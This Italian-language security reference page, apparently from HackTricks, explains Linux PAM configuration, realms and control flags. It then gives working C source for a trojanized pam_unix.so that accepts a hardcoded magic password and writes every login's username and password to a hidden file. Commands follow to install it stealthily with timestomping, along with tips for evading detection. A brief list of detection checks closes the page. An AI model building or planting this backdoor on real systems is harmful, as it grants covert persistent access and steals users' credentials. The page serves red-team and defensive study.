PAM - Pluggable Authentication Modules

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di Base

PAM (Pluggable Authentication Modules) funge da meccanismo di sicurezza che verifica l'identità degli utenti che tentano di accedere ai servizi informatici, controllando il loro accesso in base a vari criteri. È simile a un custode digitale, assicurando che solo gli utenti autorizzati possano interagire con servizi specifici, limitando potenzialmente il loro utilizzo per prevenire sovraccarichi di sistema.

File di Configurazione

  • I sistemi Solaris e UNIX-based utilizzano tipicamente un file di configurazione centrale situato in /etc/pam.conf.
  • I sistemi Linux preferiscono un approccio basato su directory, memorizzando configurazioni specifiche per i servizi all'interno di /etc/pam.d. Ad esempio, il file di configurazione per il servizio di login si trova in /etc/pam.d/login.

Un esempio di configurazione PAM per il servizio di login potrebbe apparire così:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

Reami di Gestione PAM

Questi reami, o gruppi di gestione, includono auth, account, password e session, ciascuno responsabile di diversi aspetti del processo di autenticazione e gestione delle sessioni:

  • Auth: Valida l'identità dell'utente, spesso richiedendo una password.
  • Account: Gestisce la verifica dell'account, controllando condizioni come l'appartenenza a gruppi o restrizioni di orario.
  • Password: Gestisce gli aggiornamenti delle password, inclusi controlli di complessità o prevenzione di attacchi a dizionario.
  • Session: Gestisce le azioni durante l'inizio o la fine di una sessione di servizio, come il montaggio di directory o l'impostazione di limiti di risorse.

Controlli del Modulo PAM

I controlli determinano la risposta del modulo al successo o al fallimento, influenzando l'intero processo di autenticazione. Questi includono:

  • Required: Il fallimento di un modulo richiesto porta a un eventuale fallimento, ma solo dopo che tutti i moduli successivi sono stati controllati.
  • Requisite: Terminazione immediata del processo in caso di fallimento.
  • Sufficient: Il successo bypassa il resto dei controlli dello stesso reame a meno che un modulo successivo non fallisca.
  • Optional: Causa fallimento solo se è l'unico modulo nello stack.

Scenario Esemplare

In una configurazione con più moduli di autenticazione, il processo segue un ordine rigoroso. Se il modulo pam_securetty trova il terminale di accesso non autorizzato, i login come root vengono bloccati, ma tutti i moduli vengono comunque elaborati a causa del suo stato "required". Il pam_env imposta le variabili ambientali, potenzialmente aiutando nell'esperienza utente. I moduli pam_ldap e pam_unix lavorano insieme per autenticare l'utente, con pam_unix che tenta di utilizzare una password fornita in precedenza, migliorando l'efficienza e la flessibilità nei metodi di autenticazione.

Backdooring PAM – Hooking pam_unix.so

Un trucco classico di persistenza in ambienti Linux di alto valore è scambiare la libreria PAM legittima con un drop-in trojanizzato. Poiché ogni login SSH / console finisce per chiamare pam_unix.so:pam_sm_authenticate(), alcune righe di C sono sufficienti per catturare le credenziali o implementare un bypass della password magico.

Compilazione Cheatsheet

c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

Compila e sostituisci in modo furtivo:

bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. Atomic overwrite – scrivi in un file temporaneo e mv nella posizione per evitare librerie scritte a metà che bloccherebbero SSH.
  2. La posizione del file di log come /usr/bin/.dbus.log si fonde con artefatti desktop legittimi.
  3. Mantieni le esportazioni dei simboli identiche (pam_sm_setcred, ecc.) per evitare comportamenti anomali di PAM.

Detection

  • Confronta MD5/SHA256 di pam_unix.so con il pacchetto della distribuzione.
  • Controlla la scrittura mondiale o la proprietà insolita sotto /lib/security/.
  • Regola auditd: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks